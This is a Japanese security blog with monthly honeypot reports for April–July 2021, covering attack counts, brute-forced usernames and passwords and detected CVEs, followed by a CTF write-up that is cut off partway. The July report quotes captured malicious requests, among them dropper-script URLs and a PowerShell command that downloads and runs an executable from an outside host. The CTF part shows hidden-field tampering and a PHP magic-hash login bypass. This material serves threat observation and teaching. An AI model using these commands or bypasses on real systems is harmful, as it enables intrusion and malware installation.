Midnight Monologues

日々勉強したことを書いてきます

ハニーポット運用(月次報告:2021年7月)

今月のTopics

6月29日にGithub上にてWindowsの印刷スプーラーの脆弱性(CVE-2021-1675)を悪用した任意コードの実行を可能とするPocが公開された。公開情報は削除されたものの、ドメインコントローラや特定の状況を満たす非ドメインコントローラ環境への攻撃に対しては依然として有効であった。7月1日にWindows 印刷スプーラーのリモートでコードが実行される脆弱性(CVE-2021-34527)としてMS社が公開するに至った。

msrc.microsoft.com

7月7日に脆弱性の対策パッチが定例外の緊急パッチとして報告されたが、7月8日に判明した情報より特定の条件下により以前として脆弱性は残るとのこと。

www.bleepingcomputer.com

MS社ではパッチ適用と併せて以下のレジストリへの対策を公開している。

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
 -> NoWarningNoElevationOnInstall = 0 (DWORD) または未定義 (既定の設定)
 -> UpdatePromptSettings = 0 (DWORD) または未定義 (既定の設定)

MS社が公開している回避策は以下の2点だが、どちらも業務影響が大きくある。

オプション 1: 印刷スプーラー サービスを無効にする
Print Spoolerサービスを停止した上で、無効化する。
※「サービス」からPrint Spoolerサービスを停止してもよい。
※この方法だとほぼプリンター印刷ができなくなり、環境によりPDF形式でのドキュメント保存もできなくなる。
Excelなどの「改ページプレビュー」の指定範囲が滅茶苦茶になるので納品ドキュメントで印刷用に指定していた改ページの設定が無に帰す。(ヤメテー)

オプション 2 - グループ ポリシーで受信リモート印刷を無効にする
・mmc.exeからMicrosoft管理コンソールを起動する。
・スナップインの追加と削除からグループポリシーオブジェクトエディターを開く
 [コンピューターの構成]/[管理用テンプレート]/[プリンター]
  [印刷スプーラーにクライアント接続の受け入れを許可する] ポリシーを無効にする。
※グループ ポリシーを有効にするには、印刷スプーラー サービスを再起動する必要あり。
※適用したことによる他サービスへの影響が不明なリスク有り。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年7月1日-2021年7月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 1,716,443 ▲1,707,411
2 Heralding 1,188,345 432,859
3 Honeytrap 825,725 306,439
4 Dionaea 354,027 2,638
5 Rdpy 106,290 17,712
6 Ciscoasa 33,896 32,477
7 Mailoney 14,524 3,682
8 Adbhoney 9,267 ▲5,433
9 Tanner 5,275 1,074
10 CitrixHoneypot 1,629 119
11 ConPot 1,582 ▲519
12 ElasticPot 1,221 ▲48
13 Medpot 148 ▲8
  • Result
    • 通常時と比較してCiscoasaのアクセスが増加していた。確認すると中国から7/12 0時と7/19 12時にアクセス数が増えていた模様。


②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Netherlands 877,814 4(↑)
2 Russia 813,285 3(↑)
3 China 587,526 2(↓)
4 United States 318,650 6(↑)
5 Ireland 300,833 1(↓)
6 France 211,467 8(↑)
7 Panama 160,954 5(↓)
8 Singapore 63,908 13(↑)
9 India 60,133 9(→)
10 Japan 57,348 19(↑)
11 Vietnam 57,054 11(→)
12 Italy 52,591 圏外(↑)
13 Brazil 50,198 14(↑)
14 South Korea 47,526 12(↓)
15 Germany 26,492 18(↑)
16 Latvia 25,643 圏外(↑)
17 Indonesia 24,047 16(↓)
18 Bulgaria 23,768 10(↓)
19 Sweden 21,615 20(↑)
20 United Kingdom 19,831 圏外(↑)

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,405,632
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 259
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 22
4 CVE-2020-11910 8
5 CVE-2020-8515 CVE-2020-8515 1
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 171,490
2 admin 38,106
3 sh 3,526
4 support 3,525
5 user 3,112
6 nproc 2,981
7 sa 1,598
8 22 1,443
9 test 1,065
10 1,064
11 default 998
12 ubuntu 662
13 postgres 582
14 2Wire 538
15 guest 518
16 !root 510
17 oracle 434
18 www 415
19 git 379
20 adm 374
21 666666 365
22 debug 365
23 unknown 362
24 ftpuser 326
25 administrator 320
26 Admin 307
27 anonymous 298
28 www-data 280
29 web 242
30 user123 239
31 ftp 236
32 minecraft 226
33 blank 218
34 mysql 216
35 deploy 198
36 pi 196
37 0 194
38 db 184
39 data 178
40 wwwroot 176
41 testuser 175
42 ubnt 166
43 user1 162
44 minerstat 161
45 mos 160
46 operator 149
47 jenkins 147
48 MISASME2021 144
49 MISASME2020 141
50 101 136
  • Result
    • MISASME2020(48位)とMISASME(49位)を新規に確認した。
        調査した限りではベトナムのMISA社の会計ソフトと想定される。

sme.misa.vn


⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 89,980
2 4,295
3 support 3,417
4 nproc 2,981
5 123456 2,887
6 root 2,522
7 password 1,795
8 1234 1,379
9 123 1,318
10 1 1,046
11 12345 1,013
12 blank 935
13 vizxv 919
14 12345678 789
15 user 596
16 ubnt 531
17 test 496
18 666666 458
19 0 437
20 alpine 407
21 backup 390
22 master 390
23 hi3518 378
24 unknown 370
25 1q2w3e4r 356
26 123123 354
27 synnet 350
28 Password 327
29 1qaz2wsx 309
30 111111 270
31 123456789 221
32 passw0rd 221
33 0 219
34 ABCabc@123 207
35 pass 205
36 qwerty 193
37 guest 191
38 1234567 176
39 123321 169
40 p@ssw0rd 165
41 iloveyou 163
42 princess 158
43 Passw0rd 156
44 !ishtar 150
45 operator 148
46 abc123 146
47 Admin 143
48 test123 143
49 abcABC@123 139
50 mos 137
  • Result
    • synnet(27位)は3COM社の各種ルータのデフォルトパスワードのため、変更していない場合は注意が必要。中でもCellPlexモデルの機器ではadmin権限が割り当てられているので特に注意すべき。

pentan.info


⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • PrintNightmare関連アクセスはT-Pot上で観測できず。
  • shファイルとexeファイル関連の問い合わせは以下の通り。
◆shファイルに関するアクセス
http://168[.]138[.]143[.]186/setup.sh
http://betaalverzoek.ir/binInfect.sh
ftp://anonymous:anonymous@betaalverzoek.ir/binInfect1.sh


◆exeファイルに関するアクセス
/FxCodeShell.jsp?wiew=FxxkMyLie1836710Aa&os=1&address=http://a46.bulehero.in/download.exe
/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands
/public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/iwgvymtjindipcg2429.exe');start%20C:/Windows/temp/iwgvymtjindipcg2429.exe

ハニーポット運用(月次報告:2021年6月)

今月のTopics

コンテンツ配信ネットワークCDN)プロバイダのFastlyで2021年6月8日に発生したシステム障害により世界中のインターネットサービスに影響が発生した。The GuardianやThe New York Timesなどの大手メディア、Amazonなどの流通サービス、PayPalなどの決済サービス、英国政府サイト(gov.uk)の政府機関など影響範囲は多岐に及んだ。また日本においてもメルカリやnote、Spotify楽天市場GitHubなどにも影響が発生した模様。

status.fastly.com japan.cnet.com wired.jp

詳しい理由は公表されていないがソフトウェア内に潜んでいた未発見のバグが、顧客側の設定変更に影響を受けて発生したようだ。 DDosによりサービス提供が困難になった場合の影響が良く理解できる障害であった。また1時間程度で復旧できたのは不幸中の幸いである。

業務に爽快感を求めてはいけないが、特にインフラ作業においては当たり前のように利用できることを維持することが最も重要である。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年6月1日-2021年6月30日
運用期間:30日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 3,423,854 ▲517,210
2 Heralding 755,486 ▲247,859
3 Honeytrap 519,286 ▲197,447
4 Dionaea 351,389 11,897
5 Rdpy 88,578 ▲78,336
6 Adbhoney 14,700 19
7 Mailoney 10,842 ▲10,216
8 Tanner 4,201 ▲4,855
9 ConPot 2,101 652
10 CitrixHoneypot 1,510 75
11 Ciscoasa 1,419 ▲838
12 ElasticPot 1,269 ▲167
13 Medpot 156 ▲1,921
  • Result
    • 特記事項は無し。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Ireland 1,716,881 1(→)
2 Russia 1,161,544 2(→)
3 Netherlands 860,138 5(↑)
4 China 770,235 4(→)
5 Panama 530,447 8(↑)
6 Vietnam 432,792 3(↓)
7 United States 347,849 7(→)
8 India 345,303 6(↓)
9 Brazil 173,598 9(→)
10 Indonesia 153,339 10(→)
11 France 118,731 圏外(↑)
12 Venezuela 116,310 11(↓)
13 Romania 112,847 圏外(↑)
14 Republic of Moldova 98,421 圏外(↑)
15 Turkey 88,126 12(↓)
16 Taiwan 80,050 14(↓)
17 Germany 79,789 圏外(↑)
18 Bulgaria 77,013 18(→)
19 Thailand 76,710 圏外(↑)
20 Egypt 75,033 16(↓)
  • Result
    • 特記事項は無し。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 1,270,391
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 52
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 26
4 CVE-2020-11910 7
5 CVE-2021-27561 CVE-2021-27561 CVE-2021-27562 CVE-2021-27561 2
6 CVE-2020-8515 CVE-2020-8515 1
  • Result
    • 新規にCVE-2021-27561とCVE-2021-27562を検知
    • CVE-2021-27561と CVE-2021-27562(CVSSv3値:5.7)
      Yealink Device Management における認証前のルートレベルのリモートコード実行脆弱性の問題がある。 Yealink Device Management Platform のコマンドインジェクションの脆弱性(アプリケーション内のユーザー入力のサニタイズが不十分であること)を悪用して、攻撃者はリモートよりroot 権限で任意のコマンドを実行できる可能性がある。

参考URL: ssd-disclosure.com www.fortiguard.com unit42.paloaltonetworks.jp

6月の観測では香港とノルウェーから1件ずつアクセスを観測しており、どちらもニュージーランドの同一のDropperサイトからlolol.shのダウンロードを試みていた。


④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)を以下に記載する。
No ユーザ名 件数
1 root 262,827
2 admin 121,643
3 support 10,543
4 user 8,316
5 test 7,660
6 guest 4,348
7 sa 2,946
8 postgres 2,336
9 nproc 2,293
10 info 2,269
11 sales 2,127
12 besadmin 2,042
13 sale 2,042
14 ftpuser 1,757
15 backup 1,614
16 22 1,572
17 Admin 1,558
18 1,495
19 weblogic 1,455
20 inspur 1,374
21 administrator 1,305
22 server 1,187
23 webmaster 1,139
24 service 1,121
25 scan 1,023
26 adobe 1,021
27 chairman 1,021
28 scanner 1,021
29 ubnt 622
30 operator 618
31 ubuntu 527
32 oracle 525
33 101 485
34 adm 446
35 www 421
36 mysql 381
37 web 377
38 666666 361
39 nagios 361
40 debug 355
41 unknown 349
42 2Wire 348
43 git 332
44 ftp 323
45 !root 320
46 sh 320
47 es 314
48 system 311
49 testuser 298
50 apache 296
  • Result
    • besadminはIBM BigFix製品の管理者アカウントになる。
    • !root はネットワーク関連の管理者アカウントになる際のアカウントになる。

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 241,071
2 & 30,089
3 root 11,179
4 support 9,296
5 7,978
6 user 5,415
7 123456 4,780
8 test 4,632
9 password 3,524
10 1234 3,421
11 123 2,767
12 nproc 2,293
13 12345 1,856
14 1 1,639
15 Admin 1,402
16 12345678 1,204
17 ubnt 964
18 qwerty 941
19 1qaz2wsx 911
20 123qwe 796
21 blank 779
22 1234567 762
23 123456789 727
24 1q2w3e4r 712
25 1q2w3e 664
26 12 658
27 guest 582
28 pass 567
29 operator 566
30 0 524
31 101 517
32 p@ssw0rd 517
33 111111 506
34 666666 492
35 q1w2e3 488
36 qwe123 485
37 q1w2e3r4 475
38 passw0rd 464
39 p@ssword 463
40 test123 456
41 master 426
42 backup 410
43 321 407
44 alpine 398
45 hi3518 389
46 unknown 385
47 synnet 367
48 abc123 366
49 passwd 345
50 123123 314
  • Result
    • サーバやクライアントに設定するパスワードは引き続き注意!!
⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • lolol.shのダウンロード試行状況を確認すると6月は13件実行されていた。
    この時のDropperサイトは③で確認したスウェーデンのサイトが指定されていた。当該のDropperサイトはPINGは通るがmalwareの配布は停止している模様。(まさか営業時間があるのか!?)

  • Miraiの亡霊たちにIoT利用者はいつまで脅かされないといけないのだろうか?

  • 7月の今月のTopicsはPrintNightmareの件で確定です。

ハニーポット運用(月次報告:2021年5月)

今月のTopics

海外から衝撃的なニュースが飛び込んできた。 5月7日アメリカの大手燃料送油管企業であるColonial Pipeline社ランサムウェア「Darkside」の被害を受け操業停止に追い込まれた。 重要インフラへの攻撃は商業活動への被害に止まらず、日常生活へ直接的な影響を及ぼすためより深刻になる。

www.security-next.com

wired.jp

blog.trendmicro.co.jp

www.fbi.gov

攻撃を行ったサイバー犯罪集団「Darkside」は「非政治的」な組織であること、政治的や地質学的な意図が無かったことを声明で伝えている。 www.newsweekjapan.jp

"Our goal is to make money and not creating problems for society," DarkSide wrote on its website.

"We do not participate in geopolitics, do not need to tie us with a defined government and look for... our motives," the group added.

www.bbc.com

営利目的の組織による攻撃でさえこれほど広範囲の影響が発生したことを踏まえ、国家間の紛争における被害はIT化が進んだ現代では図りしれない。まさに「第5の戦場」である。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年5月1日-2020年5月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 3,941,064 ▲757,450
2 Heralding 1,003,345 81,130
3 Honeytrap 716,733 202,134
4 Dionaea 339,492 ▲2,083,131
5 Rdpy 166,914 43,061
6 Mailoney 21,058 ▲3,938
7 Adbhoney 14,681 289
8 Tanner 9,056 4,087
9 Ciscoasa 2,257 ▲1,676
10 Medpot 2,077 1,870
11 ConPot 1,449 ▲880
12 ElasticPot 1,436 18
13 CitrixHoneypot 1,435 ▲133
  • Result
    • Dionaeaの件数が86%低下した。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Ireland 1,969,940 1(→)
2 Netherlands 847,224 18(↑)
3 Russia 660,581 2(↓)
4 China 547,377 4(→)
5 Panama 472,454 6(↑)
6 United States 326,196 5(↓)
7 Romania 160,465 圏外(↑)
8 France 98,741 圏外(↑)
9 United Kingdom 91,938 圏外(↑)
10 India 90,628 7(↓)
11 Indonesia 65,176 9(↓)
12 Bulgaria 60,206 圏外(↑)
13 Vietnam 59,672 3(↓)
14 Brazil 46,110 8(↓)
15 Singapore 45,020 圏外(↑)
16 Germany 44,696 11(↓)
17 South Korea 42,417 圏外(↑)
18 Japan 39,835 12(↓)
19 Monaco 39,616 圏外(↑)
20 Hong Kong 27,223 圏外(↑)
  • Result
    • アイルランド(1位)、中国(4位)は変わらず。それ以外の国からのアクセスが急激に減少していた。
    • ロシア(3位)、ベトナム(13位)、ドイツ(17位)にそれぞれ後退。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 3,849,302
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 347
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 32
4 CVE-2020-11910 5
5 CVE-2020-11902 1
  • Result
    • 新規の攻撃は無し。

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)を以下に記載する。
No ユーザ名 件数
1 root 290,751
2 admin 106,928
3 user 46,115
4 sa 15,025
5 support 11,469
6 Admin 5,030
7 ubnt 3,254
8 test 1,904
9 nproc 1,836
10 guest 1,808
11 postgres 1,441
12 22 1,439
13 1,437
14 oracle 987
15 ubuntu 878
16 git 808
17 deploy 668
18 operator 640
19 mysql 628
20 101 605
21 hadoop 572
22 test1 567
23 nagios 564
24 es 510
25 ftpuser 486
26 user1 485
27 dev 478
28 tomcat 469
29 test2 432
30 jenkins 428
31 zabbix 418
32 www 390
33 user2 379
34 debian 349
35 vagrant 346
36 odoo 344
37 user8 340
38 admin1 337
39 developer 336
40 test5 334
41 test4 329
42 testuser 328
43 web 328
44 demo 321
45 adm 318
46 ts3 318
47 elasticsearch 311
48 user3 308
49 test3 305
50 elastic 303
  • Result
    • test1~test5やtestuserといったOSログイン用のユーザが検出されているのが興味深い。

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 257,517
2 & 34,561
3 user 33,022
4 root 31,219
5 1234 17,355
6 support 11,000
7 123456 10,582
8 password 6,423
9 5,487
10 Admin 5,314
11 ubnt 3,583
12 123 3,162
13 nproc 1,836
14 12345 1,816
15 12345678 1,658
16 1 1,400
17 qwerty 1,203
18 123456789 1,169
19 p@ssw0rd 1,167
20 passw0rd 1,042
21 1q2w3e4r 1,037
22 test 1,016
23 1234567 999
24 1qaz2wsx 985
25 123qwe 878
26 guest 864
27 qwe123 839
28 p@ssword 837
29 P@ssw0rd 822
30 12 759
31 q1w2e3r4 721
32 1q2w3e 714
33 q1w2e3 692
34 operator 669
35 101 646
36 password123 634
37 Password 631
38 111111 628
39 1qaz@WSX 586
40 test123 554
41 Passw0rd 526
42 P@$$w0rd 484
43 Aa123456 483
44 1234567890 462
45 master 437
46 pass 416
47 666666 414
48 321 398
49 qwerty123 380
50 alpine 379
  • Result
    • 12345678といった数字の羅列やp@ssw0rdのOSの複雑性を回避するためによく使われるパスワードが良く狙われている。ユーザ名の検出結果と併せると端末側へのアクセスを狙った攻撃が増加していると推測される。

⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • massscanはちらほらアクセスあり。5月30日のアクセスが最多。
    • Zmapはmasscanと比較して、よく使われている。

最後に

  • 参考図書「第5の戦場」 サイバー戦の脅威(祥伝社新書266) 新書 – 2012/2/2 伊東 寛 (著) 。Kindle版が無いのが残念。
  • 仮想通貨は匿名性が保たれる反面、ブロックチェーンの台帳からお金の流れが追えるとのことで、犯罪撲滅に少しでもつながれば良いと思う。

wired.jp

ハニーポット運用(月次報告:2021年4月)

今月のTopics

2021年4月13日 株式会社カプコンにて不正アクセスに関する調査結果に対するプレスリリースがされた。

www.capcom.co.jp

旧型VPN装置を踏み台としたサイバー攻撃により、社内ネットワークへ不正侵入が発生し、ランサムウェア被害と脅迫が犯行グループ「Ragnar Locker」から行なわれた。

IPA様から発表された「情報セキュリティ10大脅威 2021」にもある通り、ランサムウェア被害が増加傾向にある模様だ。

www.ipa.go.jp

ランサムウェアにより暗号化したデータを復旧するための
金銭要求に加え、暗号化する前にデータを窃取しておき、
支払わなければデータを公開する等と脅迫する
「二重の脅迫(double extortion)」と呼ばれる攻撃も確認
されている。

近年、個人よりも多額の金銭の支払いを見込めるためか、
組織が狙われやすい傾向にある。

最近は暗号化データの復旧だけでなく社外秘情報の漏洩に対する2重の金銭要求が多いとのこと。犯行グループの脅し方のこなれた感じが、腹立たしい。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年4月1日-2021年4月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 4,698,514 △249,473
2 Dionaea 2,422,623 ▲3,480,503
3 Heralding 922,215 △165,396
4 Honeytrap 514,599 △161,809
5 Rdpy 123,853 △21,972
6 Mailoney 24,996 ▲775
7 Adbhoney 14,392 ▲1,224
8 Tanner 4,969 ▲1,925
9 Ciscoasa 3,933 △1,407
10 ConPot 2,329 △830
11 CitrixHoneypot 1,568 △174
12 ElasticPot 1,418 △442
13 Medpot 207 △10
  • Result
    • Dionaeaの件数が59%低下した。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Ireland 1,716,881 1(→)
2 Russia 1,161,544 2(→)
3 Netherlands 860,138 5(↑)
4 China 770,235 4(→)
5 Panama 530,447 8(↑)
6 Vietnam 432,792 3(↓)
7 United States 347,849 7(→)
8 India 345,303 6(↓)
9 Brazil 173,598 9(→)
10 Indonesia 153,339 10(→)
11 France 118,731 圏外(↑)
12 Venezuela 116,310 11(↓)
13 Romania 112,847 圏外(↑)
14 Republic of Moldova 98,421 圏外(↑)
15 Turkey 88,126 12(↓)
16 Taiwan 80,050 14(↓)
17 Germany 79,789 圏外(↑)
18 Bulgaria 77,013 18(→)
19 Thailand 76,710 圏外(↑)
20 Egypt 75,033 16(↓)

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 3,809,785
2 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 35
3 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 12
4 CVE-2020-11910 2
  • Result
    • 新規の攻撃は無し。

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)を以下に記載する。
No ユーザ名 件数
1 root 275,752
2 admin 124,868
3 support 16,455
4 ubnt 15,914
5 test 9,213
6 user 6,457
7 nproc 4,244
8 guest 3,529
9 sa 3,269
10 3,258
11 postgres 3,257
12 ubuntu 3,214
13 oracle 2,169
14 git 2,033
15 ftpuser 1,883
16 22 1,504
17 mysql 1,336
18 deploy 1,310
19 minecraft 1,116
20 testuser 1,054
21 www 1,032
22 demo 1,028
23 nagios 1,009
24 teamspeak 970
25 Admin 965
26 ftp 942
27 server 893
28 ts3 850
29 dev 835
30 jenkins 790
31 hadoop 752
32 user1 739
33 web 734
34 student 688
35 tomcat 679
36 101 676
37 administrator 663
38 test1 662
39 steam 642
40 alex 621
41 www-data 593
42 tester 569
43 developer 555
44 webmaster 534
45 sysadmin 531
46 ts 509
47 temp 502
48 pi 498
49 vbox 492
50 sinusbot 487
  • Result
    • saパスワードへのアクセスが9位に後退。MSSQLサーバへの不正アクセスは今時流行らないのだろうか?

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 301,568
2 & 24,536
3 123456 16,672
4 ubnt 16,250
5 support 15,731
6 7,805
7 123 7,458
8 password 7,393
9 1234 6,099
10 test 5,251
11 root 4,848
12 nproc 4,244
13 12345 3,607
14 1 2,900
15 12345678 1,607
16 user 1,363
17 123123 1,354
18 1q2w3e4r 1,306
19 guest 1,295
20 123456789 1,219
21 qwerty 1,154
22 1qaz2wsx 1,100
23 test123 997
24 pass 926
25 a 922
26 Admin 867
27 password123 802
28 123321 775
29 passw0rd 769
30 p@ssw0rd 755
31 abc123 753
32 111111 730
33 123qwe 714
34 101 705
35 P@ssw0rd 696
36 1234567 606
37 changeme 594
38 qwe123 587
39 Password 542
40 admin123 537
41 q1w2e3r4 498
42 pass123 486
43 666666 474
44 1qaz@WSX 466
45 alpine 436
46 master 422
47 operator 420
48 qwerty123 413
49 princess 409
50 iloveyou 404
  • Result
    • 脆弱なパスワードとして123456やpassword、qwertyが一般的であるが、princessやiloveyouなども有名のようだ。

www.welivesecurity.com


最後に

DCTF 2021 - Writeup

5/15(土) 0:00 JST~5/17(月) 6:59 JSTに開催されたDCTF 2021 に会社のチームで参加した。 他のチームメンバーの陰で3問だけ解いたので、以下にWriteupを記載する。

Web

Simple web

Time to warm up! \

http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080

指定されたURLへアクセスするとflagを要求する画面が表示される。

┌──(root💀kali)-[/home/kali]
└─# curl -v http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080/
*   Trying 20.61.15.90:8080...
* Connected to dctf1-chall-simple-web.westeurope.azurecontainer.io (20.61.15.90) port 8080 (#0)
> GET / HTTP/1.1
> Host: dctf1-chall-simple-web.westeurope.azurecontainer.io:8080
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 611
< Content-Type: text/html; charset=utf-8
< Date: Sat, 15 May 2021 03:07:03 GMT
< Server: waitress
< 

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
    img {
    display: block;
    margin-left: auto;
    margin-right: auto;
    }
    fieldset{
    border: 1px solid;
    width: 400px;
    margin:auto;
    }
    </style>
</head>
<body>
    <form action='flag' method='post'>
        <fieldset>
            <input type="checkbox" name="flag" value="1">
            I want flag!<br>
            <input hidden name="auth" value="0">
            <input type='submit' name='Submit' value='Submit' />
        </fieldset>
    </form>
</body>
* Connection #0 to host dctf1-chall-simple-web.westeurope.azurecontainer.io left intact
</html> 

flagを要求するPOST処理する際にauthパラメータがhidden属性で0の値で渡されている。

<input hidden name="auth" value="0">

authパラメータを1に書き換えるとflagが表示される。

┌──(root💀kali)-[/home/kali/Desktop]
└─# curl -X POST -d "flag=1&auth=1&Submit=Submit" http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080/flag
There you go: dctf{w3b_c4n_b3_fun_r1ght?}         
flag : dctf{w3b_c4n_b3_fun_r1ght?}

Very secure website

Some students have built their most secure website ever. Can you spot their mistake?

http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/

指定されたURLへアクセスするとユーザ名とパスワードの認証画面が表示される。

┌──(root💀kali)-[/home/kali]
└─# curl -v http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/
*   Trying 20.82.56.43:80...
* Connected to dctf1-chall-very-secure-site.westeurope.azurecontainer.io (20.82.56.43) port 80 (#0)
> GET / HTTP/1.1
> Host: dctf1-chall-very-secure-site.westeurope.azurecontainer.io
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 15 May 2021 03:42:03 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.19
< Vary: Accept-Encoding
< Content-Length: 1614
< Content-Type: text/html; charset=UTF-8
< 
<!DOCTYPE html>
<html>
<head>
    <title>Secure website</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKgwra6" crossorigin="anonymous">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/js/bootstrap.bundle.min.js" integrity="sha384-JEW9xMcG8R+pH31jmWH6WWP0WintQrMb4s7ZOdauHnUtxwoG2vI5DkLtS3qm9Ekf" crossorigin="anonymous"></script>
</head>
<body>
    <header>
        <nav class="navbar navbar-light bg-light">
            <div class="container navstyle">
                <a class="navbar-brand" href="#">Secure website</a>
            </div>
        </nav>
    </header>

    <div class="container pt-3 pb-2">
        <h1>
            To view the secure file, please enter the password.
        </h1>
        <form action="login.php" method="GET">
            <div class="input-group mb-3 input-sm">
                <input type="text" class="form-control" name="username" placeholder="Username" />
            </div>
            <div class="input-group mb-3">
                <input type="text" class="form-control" name="password" placeholder="Password" />
            </div>
            <div class="input-group mb-3">
                <input class="btn btn-primary" type="submit" value="Submit" />
            </div>
        </form>
        <div>
            This is a very secure website, so we will also include the <a href="source.php">source code</a>. Nobody will ever break it. It is the best.
        </div>
    </div>
</body>
* Connection #0 to host dctf1-chall-very-secure-site.westeurope.azurecontainer.io left intact
</html>

公開されているソースコードを確認する。

http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/source.php

<?php
    if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("tiger128,4", $_GET['username']) != "51c3f5f5d8a8830bc5d8b7ebcb5717df") {
            echo "Invalid username";
        }
        else if (hash("tiger128,4", $_GET['password']) == "0e132798983807237937411964085731") {
            $flag = fopen("flag.txt", "r") or die("Cannot open file");
            echo fread($flag, filesize("flag.txt"));
            fclose($flag);
        }
        else {
            echo "Try harder";
        }
    }
    else {
        echo "Invalid parameters";
    }
?>

ユーザ名のtiger128,4 ハッシュ値51c3f5f5d8a8830bc5d8b7ebcb5717dfであり、パスワードのtiger128,4 ハッシュ値0e132798983807237937411964085731と等しいとflagが表示される。

51c3f5f5d8a8830bc5d8b7ebcb5717dfGoogleで調べるとadminと判明 0e132798983807237937411964085731PHPの緩やかな一致を使っているのでハッシュ化した値が0eから始まるものであればイコールになる。

PHPのハッシュ衝突に関する文献を探すとLnFwjYqB:0e087005190940152635463034029558で条件を満たすことがわかる。 問題のURLへGETリクエストで投げるとflagが表示される。

┌──(root💀kali)-[/home/kali]
└─# curl -v "http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/login.php?username=admin&password=LnFwjYqB"
*   Trying 20.82.56.43:80...
* Connected to dctf1-chall-very-secure-site.westeurope.azurecontainer.io (20.82.56.43) port 80 (#0)
> GET /login.php?username=admin&password=LnFwjYqB HTTP/1.1
> Host: dctf1-chall-very-secure-site.westeurope.azurecontainer.io
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 15 May 2021 04:06:18 GMT
< Server: Apache/2.4.38 (Debian)
